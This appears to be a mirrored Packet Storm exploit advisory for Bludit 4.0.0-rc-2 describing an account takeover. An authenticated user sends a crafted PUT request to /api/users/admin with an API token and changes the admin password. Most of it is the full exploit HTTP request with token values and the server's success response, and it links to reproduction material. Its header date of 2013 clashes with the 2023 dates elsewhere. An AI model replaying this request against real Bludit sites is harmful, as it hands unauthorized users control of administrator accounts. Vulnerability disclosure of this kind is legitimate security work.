Lucene search
K

Bludit 4.0.0-rc-2 Privilege Escalation

🗓️ 11 Apr 2023 00:00:00Reported by nu11secur1tyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 237 Views

Bludit-4.0.0-rc-2 privilege escalation through API token vulnerability for admin account takeover

Code
`## Title: Bludit-4.0.0-rc-2 - Release candidate 2 Account takeover:  
API token vulnerability  
## Author: nu11secur1ty  
## Date: 04.11.2013  
## Vendor: https://www.bludit.com/  
## Software: https://github.com/bludit/bludit/releases/tag/4.0.0-rc-2  
## Reference: https://www.cloudflare.com/learning/access-management/account-takeover/  
## Reference: https://portswigger.net/daily-swig/facebook-account-takeover-researcher-scoops-40k-bug-bounty-for-chained-exploit  
  
## Description:  
The already authenticated attacker can send a normal request to change  
his password and then he can use  
the same JSON `object` and the vulnerable `API token KEY` in the same  
request to change the admin account password.  
Then he can access the admin account and he can do very malicious stuff.  
  
STATUS: HIGH Vulnerability  
  
[+]Exploit:  
```PUT  
PUT /api/users/admin HTTP/1.1  
Host: 127.0.0.1:8000  
Content-Length: 138  
sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"  
sec-ch-ua-platform: "Windows"  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50  
Safari/537.36  
content-type: application/json  
Accept: */*  
Origin: http://127.0.0.1:8000  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: http://127.0.0.1:8000/admin/edit-user/pwned  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: BLUDIT-KEY=98t31p2g0i7t6rscufuccpthui  
Connection: close  
  
{"token":"4f8df9f64e84fa4562ec3a604bf7985c","authentication":"6d1a5510a53f9d89325b0cd56a2855a9","username":"pwned","password":"password1"}  
  
```  
  
[+]Response:  
```HTTP  
HTTP/1.1 200 OK  
Host: 127.0.0.1:8000  
Date: Tue, 11 Apr 2023 08:33:51 GMT  
Connection: close  
X-Powered-By: PHP/7.4.30  
Access-Control-Allow-Origin: *  
Content-Type: application/json  
  
{"status":"0","message":"User edited.","data":{"key":"admin"}}  
```  
  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/bludit/2023/Bludit-v4.0.0-Release-candidate-2)  
  
## Proof and Exploit:  
[href](https://streamable.com/w3aa4d)  
  
## Time spend:  
00:57:00  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation